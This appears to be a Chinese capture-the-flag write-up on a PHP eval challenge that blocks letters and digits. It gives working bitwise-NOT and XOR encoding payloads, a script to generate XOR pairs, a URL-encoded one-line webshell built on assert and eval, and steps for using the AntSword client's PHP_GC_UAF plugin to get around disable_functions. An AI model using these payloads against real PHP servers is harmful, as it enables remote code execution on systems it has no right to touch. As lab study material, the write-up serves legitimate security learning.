打开环境,得到源码:
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
分析代码,首先要GET传值code,否则就高亮显示源码;传值后判断长度,不能超过40,否则结束;传的值也不能为字母和数字,否则也结束;最后执行传递的语句。那么很明显,这个题要构造命令执行!
但这题关键还在于要传递不是字母和数字的命令,长度还不能超过40,咋办呢?
第一种方法是利用url编码取反绕过:
取反的符号是~
,也是一种运算符。在数值的二进制表示方式上,将0变为1,将1变为0。对phpinfo取反,会产生一些不可见字符,可对phpinfo取反后再进行url编码:
运行php代码:
echo urlencode(~'phpinfo');
就能得到:
%8F%97%8F%96%91%99%90
我们就可以直接传入:
?code=(~%8F%97%8F%96%91%99%90)();
成功绕过!!!
第二种用异或的方法,异或的规则是:
1 XOR 0 = 1
0 XOR 1 = 1
0 XOR 0 = 0
1 XOR 1 = 0
如果是两个字符进行异或运算,就先看字符对应的ASCII码值,再将ASCII码转为二进制,然后逐位经行异或运算,例如:
字符:? ASCII码:63 二进制: 0011 1111
字符:~ ASCII码:126 二进制: 0111 1110
两字符的二进制逐位经行异或运算得到二进制: 0100 0001
转为十进制就是:65,也就是字符A,也就是说 ? 和 ~ 异或运算得到 A 。
那么此题他只过滤了字母和数字,ASCII码中还有很多字母数字之外的字符,
利用这些字符进行异或可以得到我们想要的字符。
经过一次get传参会进行一次URL解码,所以我们可以将字符先进行url编码再进行异或得到我们想要的字符:
${_GET}{%ff}();&%ff=phpinfo
-
%A0^%FF=>_
-
%B8^%FF=>G
-
%BA^%FF=>E
-
%AB^%FF=>T
<?php
$a = urldecode('%ff%ff%ff%ff');
$b = urldecode('%a0%b8%ba%ab');
echo $a^$b;
//输出_GET
所以我们传入:
?code=${'%ff%ff%ff%ff'^'%a0%b8%ba%ab'}{%ff}();&%ff=phpinfo
成功绕过!!
那我们如何知道哪些字符异或运算后能得到我们想要的字符?
我们可以用下面的脚本:
<?php
for($i=128;$i<255;$i++){
echo sprintf("%s^%s",urlencode(chr($i)),urlencode(chr(255)))."=>". (chr($i)^chr(255))."\n";
}
?>
运行后得到:
%81^%FF=>~ %82^%FF=>} %83^%FF=>|
%84^%FF=>{ %85^%FF=>z %86^%FF=>y
%87^%FF=>x %88^%FF=>w %89^%FF=>v
%8A^%FF=>u %8B^%FF=>t %8C^%FF=>s
%8D^%FF=>r %8E^%FF=>q %8F^%FF=>p
%90^%FF=>o %91^%FF=>n %92^%FF=>m
%93^%FF=>l %94^%FF=>k %95^%FF=>j
%96^%FF=>i %97^%FF=>h %98^%FF=>g
%99^%FF=>f %9A^%FF=>e %9B^%FF=>d
%9C^%FF=>c %9D^%FF=>b %9E^%FF=>a
%9F^%FF=>` %A0^%FF=>_ %A1^%FF=>^
%A2^%FF=>] %A3^%FF=>\ %A4^%FF=>[
%A5^%FF=>Z %A6^%FF=>Y %A7^%FF=>X
%A8^%FF=>W %A9^%FF=>V %AA^%FF=>U
%AB^%FF=>T %AC^%FF=>S %AD^%FF=>R
%AE^%FF=>Q %AF^%FF=>P %B0^%FF=>O
%B1^%FF=>N %B2^%FF=>M %B3^%FF=>L
%B4^%FF=>K %B5^%FF=>J %B6^%FF=>I
%B7^%FF=>H %B8^%FF=>G %B9^%FF=>F
%BA^%FF=>E %BB^%FF=>D %BC^%FF=>C
%BD^%FF=>B %BE^%FF=>A %BF^%FF=>@
%C0^%FF=>?
就能根据自己的需要进行组合!
当然还有一些绕过的方法,有时间后面自己了解!
执行之后发现过滤了大部分命令执行的函数,下面考虑如何绕过
我们直接用取反的方法构造一个木马:
echo urlencode(~'eval($_POST[aaa])');
得到:
传入:?code=~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6;
测试了没成功!!
用异或传入:
?code=${%27%ff%ff%ff%ff%27^%27%a0%b8%ba%ab%27}{%ff};&%ff=eval($_POST[aaa])
也没成功!!!
这里其实要像这样构造:
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[a]))';
$d=urlencode(~$c);
echo $d;
?>
得到:
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6);
说明:开始我想的是直接传一个$_POST[s]的取反进去,加上代码最后的eval,这不就是一个木马吗,试了半天一直不行,后面发现是eval只能解析一次,意思是题目中是@eval($code),当你传入$code的时候,eval会进行变量的替换,相当于已经解析了一次,自己再以post传进去的s不能被解析。
然后我还想试一试传eval($_POST[s]),也是不行的,因为eval不是可变函数,不能当作字符串交给php让他当作函数名:
传进去的payload为/?code=(~%9A%89%9E%93)(~%D7%DB%A0%AF%B0%AC%AB%A4%8C%A2%D6); 也就是eval($_POST[s]),之所以要用两个括号,而不是一次性取反传入一个括号的东西是因为你传入的是一个函数,eval运行的时候会根据函数名先检测是否存在这个函数,而第一个括号的内容也就是函数名,第二个括号的内容应该是传入的函数内应该传的参数。所以它会先检测有没有eval这个函数,然后继续进行,但是eval又不能做可变函数,所以这样也是错误的。
assert($_POST[s])为啥也不行呢?
网上找了个说法:
所以最后传入的只能是上面最后那样构造!!!!
接着连接蚁剑:
看到有个flag和readflag,但是flag无法直接读取!需要执行readflag才能得到flag,当时因为限制了很多函数,这个shell基本是废的,一个不能执行命令的shell叫什么shell,所以这里需要绕过这个disable_functions执行命令。
这里可以用到蚁剑的一个能绕过disable_functions的插件,点击蚁剑中的AntSword,然后点击插件市场:
但是鉴于可能加载不出来,那就在本地安装吧!下载地址:
链接:https://pan.baidu.com/s/1cYXwsfjMe15gdI0KR4W_BQ
提取码:730f
下载之后,将其解压在antSword\antData\plugins路径下,再回插件市场就能在本地仓库看见了:
回到开始选择:
选择PHP_GC_UAF模式,点击开始会自动弹出shell,用命令回到根目录,执行:./readflag
得到答案: